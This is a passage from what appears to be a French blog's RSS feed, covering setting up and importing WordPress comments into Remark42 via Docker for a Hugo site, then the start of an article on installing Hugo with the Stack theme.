l&amp;rsquo;ai pas installée. Je ne suis pas certain d&amp;rsquo;en avoir besoin. Car il y a tout de même moyen de réaliser certaines actions :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Afficher les paramètres : liste les utilisateurs cachés ou bloqués.&lt;/li&gt;&#xA;&lt;li&gt;Désactiver les commentaires pour l&amp;rsquo;article. Peut être réactivé si on le souhaite.&lt;/li&gt;&#xA;&lt;li&gt;Bloquer un utilisateur définitivement ou temporairement.&lt;/li&gt;&#xA;&lt;li&gt;Effacer un commentaire.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Il faut renseigner le paramètre suivant dans le fichier &lt;code&gt;compose.yaml&lt;/code&gt; pour définir un administrateur :&lt;/p&gt;&#xA;&lt;p&gt;ADMIN_SHARED_ID=github_xxxxxxxxxxxxxxxxxxxxxxx&lt;/p&gt;&#xA;&lt;p&gt;On trouve cet ID en s&amp;rsquo;identifiant avec son compte Github par exemple sur la page d&amp;rsquo;un article, comme si l&amp;rsquo;on voulait poster un commentaire, puis on clique sur son nom : on trouve alors en haut à droite son ID :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;416px&#34; data-flex-grow=&#34;173&#34; height=&#34;224&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/github-id.png&#34; width=&#34;389&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ou avec son compte mail :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1100px&#34; data-flex-grow=&#34;458&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/mail-id.png&#34; width=&#34;399&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Une fois identifié comme administrateur, on a accès à certaines fonctions, comme afficher les utilisateurs cachés ou bloqués, ainsi que désactiver les commentaires sur un article donné.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;622px&#34; data-flex-grow=&#34;259&#34; height=&#34;232&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/Capture-decran-du-2026-07-07-10-54-13.png&#34; width=&#34;602&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;558px&#34; data-flex-grow=&#34;232&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/Capture-decran-du-2026-07-07-10-57-33.png&#34; width=&#34;605&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;import&#34;&gt;Import&#xA;&lt;/h3&gt;&lt;p&gt;Maintenant que tout est prêt, il faut importer les commentaires du site WP que l&amp;rsquo;on souhaite migrer. Remark42 propose fort heureusement cette possibilité, et la documentation est &lt;a class=&#34;link&#34; href=&#34;https://remark42.com/docs/backup/migration/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;. Cette opération est importante et à faire immédiatement, car elle va écraser tous les commentaires existants (ceux ayant servis pour les tests par exemple).&lt;/p&gt;&#xA;&lt;p&gt;On part donc du fichier d&amp;rsquo;export au format XML généré par WP (Panneau d&amp;rsquo;admin - Outils - Export) comme on a fait pour Hugo. Il faut ensuite l&amp;rsquo;éditer pour remplacer l&amp;rsquo;URL du site si celle-ci est destinée à changer. Par exemple si j&amp;rsquo;importe les commentaires du blog WP à l&amp;rsquo;adresse &lt;code&gt;https://wptest.pled.fr&lt;/code&gt;, mais que mon futur blog se trouvera à l&amp;rsquo;adresse &lt;code&gt;https://myhugo.pled.fr&lt;/code&gt;, alors il faut éditer le fichier XML et remplacer toutes les occurrences correspondantes avec la nouvelle URL.&lt;/p&gt;&#xA;&lt;p&gt;Une fois ceci fait, il faut copier le fichier d&amp;rsquo;export dans le dossier /srv/var du container, puis lancer la commande suivante qui va importer les commentaires :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pascal@NAS:/srv/dev-disk-by-uuid-071a-91e2-4184-971f-7697/AppData/remark42/var$ sudo docker exec -it remark42 import -p wordpress -f /srv/var/wptest-export.xml -s remark&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Côté log du container docker, on doit voir quelque chose de ce style :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;remark42  | 2026/07/05 08:41:33.969 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;DEBUG&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;api/migrator.go:236 api.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*Migrator&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.runImport&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; import request &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; site&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;remark, provider&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;wordpress&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;remark42  | 2026/07/05 08:41:34.268 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;INFO&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;migrator/wordpress.go:153 migrator.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*WordPress&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.convert.func1&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; converted &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; comments, &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;inpItems:563 failedItems:0 inpComments:4 failedComments:0 rejectedComments:0&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;remark42  | 2026/07/05 08:41:34.276 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;DEBUG&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;migrator/wordpress.go:85 migrator.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*WordPress&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.Import&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; imported &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; comments to site remark&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;remark42  | 2026/07/05 08:41:34.276 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;DEBUG&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;api/migrator.go:250 api.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*Migrator&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.runImport&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; import request completed. site&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;remark, provider&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;wordpress, comments&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On voit clairement que les quatre commentaires de test ont bien été importés.&lt;/p&gt;&#xA;&lt;h4 id=&#34;dépannage&#34;&gt;Dépannage&#xA;&lt;/h4&gt;&lt;p&gt;Si vous ne voyez pas les commentaires malgré les logs positifs du container, il s&amp;rsquo;agit probablement d&amp;rsquo;un problème d&amp;rsquo;URL. Les commentaires sont stockés avec l&amp;rsquo;URL de l&amp;rsquo;article concerné, et celle-ci doit absolument correspondre. Elle peut être erronée, ou simplement être en http au lieu de https, ou même manquer d&amp;rsquo;un &amp;ldquo;/&amp;rdquo; en fin d&amp;rsquo;adresse. Il va donc falloir vérifier ces points.&lt;/p&gt;&#xA;&lt;p&gt;Dans le navigateur, afficher un article censé avoir des commentaires, et vérifier dans la console (outils dev web) du navigateur la requête réseau (onglet network) de type &lt;a class=&#34;link&#34; href=&#34;https://remark42.nas-n150.pled.fr/api/v1/find?site=remark&amp;amp;url=https%3A%2F%2Fhugo.pled.fr%2Farticle-avec-bouts-de-code%2F&amp;amp;sort=-active&amp;amp;format=tree&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;code&gt;GET api/v1/find?...&amp;amp;url=&amp;lt;URL&amp;gt;&lt;/code&gt;&lt;/a&gt; effectuée, et vérifier particulièrement la valeur de l&amp;rsquo;URL réclamée, ce doit être celle de votre site, par exemple :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://remark42.nas-n150.pled.fr/api/v1/find?site=remark&amp;amp;url=https%3A%2F%2Fhugo.pled.fr%2Farticle-avec-bouts-de-code%2F&amp;amp;sort=-active&amp;amp;format=tree&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;code&gt;https://remark42.mon-nas.fr/api/v1/find?site=remark&amp;amp;url=https%3A%2F%2Fmon-site-hugo.fr%2Farticle-avec-bouts-de-code%2F&amp;amp;sort=-active&amp;amp;format=tree&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;En parallèle, aller voir les URLs stockées par remark42 pour les comparer : pour cela, exécutez la commande suivante (sur une seule ligne) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sudo docker exec remark42 backup -s remark -f /srv/var/dump.gz &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo docker exec remark42 sh -c &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gunzip -c /srv/var/dump.gz | grep -oE &amp;#39;\&amp;#34;url\&amp;#34;:\&amp;#34;[^\&amp;#34;]+\&amp;#34;&amp;#39; | sort | uniq -c&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;remark42 v1.16.0-556e0a7-20260522T13:32:16&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2026/07/06 11:25:10.007 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;INFO&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;cmd/backup.go:26 cmd.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*BackupCommand&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.Execute&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; export to ./var/backup, site remark&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2026/07/06 11:25:10.007 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;DEBUG&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;cmd/backup.go:35 cmd.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*BackupCommand&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.Execute&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; export file /srv/var/dump.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2026/07/06 11:25:10.093 &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;INFO&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;cmd/backup.go:78 cmd.&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;*BackupCommand&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;.Execute&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; export completed, file /srv/var/dump.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://mon-site-hugo.fr/article-avec-bouts-de-code/&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://mon-site-hugo.fr/article-avec-citation/&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la commande ne passe pas, allez voir les backups, ou créez-en un, puis éditer le fichier :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sudo docker exec -it remark42 backup -s remark&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;NOTE: le paramètre &lt;code&gt;ADMIN_PASSWD&lt;/code&gt; doit être activé sur le serveur pour que la commande fonctionne.&lt;/p&gt;&#xA;&lt;p&gt;Puis récupérer dans le dossier &lt;code&gt;/srv/var/backup&lt;/code&gt; le fichier de backup créé ( &lt;code&gt;userbackup-remark-20260706T045628.gz&lt;/code&gt; par exemple). Il reste à décompresser le fichier puis à l&amp;rsquo;éditer. On peut alors vérifier l&amp;rsquo;URL stockée dans Remark42 :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;40&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;pid&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ceci est un commentaire premier niveau\n&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;pled&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;wordpress_8d4451bb47d8fcd71060d39bada39c4b01818ce3&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;picture&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ip&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;c5e2c316a3678a6bd0723a79aad2b6964f805917&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;:false&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;locator&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;site&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;remark&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;url&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://myhugo.pled.fr/article-avec-bouts-de-code&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;score&amp;#34;&lt;/span&gt;:0,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;vote&amp;#34;&lt;/span&gt;:0,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2026-06-09T15:49:33Z&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;imported&amp;#34;&lt;/span&gt;:true,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Article avec bouts de code&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si les URLs diffèrent, le plus simple est sans doute de modifier le fichier d&amp;rsquo;export WP à l&amp;rsquo;aide d&amp;rsquo;un éditeur de texte, modifier toutes les URLs pour correspondre à ce que l&amp;rsquo;on attend, puis relancer l&amp;rsquo;import (qui écrasera l&amp;rsquo;existant).&lt;/p&gt;&#xA;&lt;p&gt;On peut aussi créer un fichier &lt;code&gt;remap.txt&lt;/code&gt; contenant sur une line les deux URLs concernées sur la même ligne, comme ceci par exemple :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://hugo.mon-site.fr/* https://hugo.mon-site.fr/posts/*&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis exécuter le commande suivante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sudo docker exec remark42 remark42 remap -s remark -f /srv/var/remap.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;Voilà, le système de commentaire est installé et fonctionnel. Cela m&amp;rsquo;a paru très compliqué au départ, mais finalement, en y allant étape par étape, tout s&amp;rsquo;est très bien passé.&lt;/p&gt;&#xA;&lt;p&gt;Le seul problème que j&amp;rsquo;ai eu a été pour l&amp;rsquo;importation des commentaires, et c&amp;rsquo;était parce que j&amp;rsquo;avais oublié de renseigner dans le site Hugo le paramètre suivant dans le fichier &lt;code&gt;hugo.toml&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;baseURL &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://hugo.pled.fr/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Donc une erreur de ma part à force de tester des choses sur Hugo en même temps, en réinstallant, repartant de zéro, etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Finalement, je suis très satisfait de ce résultat, Remak42 a l&amp;rsquo;air très bien, sobre et fonctionnel, exactement ce que je cherchais.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Hugo avec thème Stack : installation en local</title>
            <link>https://pled.fr/hugo-avec-theme-stack-installation-en-local/</link>
            <pubDate>Thu, 16 Jul 2026 14:30:08 +0000</pubDate>
            <guid>https://pled.fr/hugo-avec-theme-stack-installation-en-local/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;hugo-icon.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dans un précédent article, j&amp;rsquo;expliquais mon idée de migrer mon blog Wordpress sous Hugo, pour des raisons de performance et d&amp;rsquo;efficacité, mais aussi de simplification car si Wordpress permet de faire beaucoup de choses, je n&amp;rsquo;en ai pas de réel besoin, alors autant passer à quelque chose de plus simple et de totalement opensource.&lt;/p&gt;&#xA;&lt;p&gt;Dans cette optique, la première étape est d&amp;rsquo;installer Hugo en local sur le PC afin de pouvoir commencer à l&amp;rsquo;utiliser, puis à adapter un thème à ce que je souhaite obtenir comme apparence.&lt;/p&gt;&#xA;&lt;p&gt;Cet article est assez long puisque l&amp;rsquo;on va partir du thème Stack de départ, totalement vide :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;208&#34; height=&#34;304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-05-16-56-33.png&#34; width=&#34;635&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pour arriver à ça :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;1080&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30.png&#34; srcset=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30_hu_578a566d0a521eb4.png 800w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30_hu_b3f5873b620b6dd2.png 1600w, https://pled.fr/hugo-avec-theme-stack-installation-en-local/Capture-decran-du-2026-07-16-11-37-30.png 1920w&#34; width=&#34;1920&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est parti, il y a du boulot ! :wink:&lt;/p&gt;&#xA;&lt;h3 id=&#34;installation&#34;&gt;Installation&#xA;&lt;/h3&gt;&lt;p&gt;La première chose à faire est d&amp;rsquo;installer le paquet Hugo, comme on le ferait pour n&amp;rsquo;importe quel autre logiciel, et donc sur EndeavourOS taper la commande suivante :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sudo pacman -S hugo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Il faut ensuite choisir un thème sur &lt;a class=&#34;link&#34; href=&#34;https://themes.gohugo.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cette page&lt;/a&gt;, et il en existe de tous types, le choix est vaste même en sélectionnant le type &amp;ldquo;Blog&amp;rdquo;. Pour chaque thème, une démo est accessible, c&amp;rsquo;est donc assez bien fait et cela aide à faire son choix.&lt;/p&gt;&#xA;&lt;p&gt;En ce qui me concerne, j&amp;rsquo;ai choisi le thème &lt;strong&gt;Stack&lt;/strong&gt; qui correspond à peu près à ce que je souhaite : une présentation classique des articles dans l&amp;rsquo;ordre chronologique, avec une image pour chaque article, une colonne (sidebar) de chaque côté, histoire de ne pas trop changer avec le thème actuel sur WP. Enfin, il dispose d&amp;rsquo;un mode &amp;ldquo;Dark&amp;rdquo; intégré.&lt;/p&gt;&#xA;&lt;p&gt;Puis on suit la &lt;a class=&#34;link&#34; href=&#34;https://gohugo.io/getting-started/quick-start/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;doc officielle&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://gohugo.io/getting-started/quick-start/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gohugo.io/getting-started/quick-start/&lt;/a&gt; et on passe les commandes suivantes qui vont créer le site, installer le thème stack et l&amp;rsquo;activer :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ mkdir Hugo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd Hugo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ hugo new project pled&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd 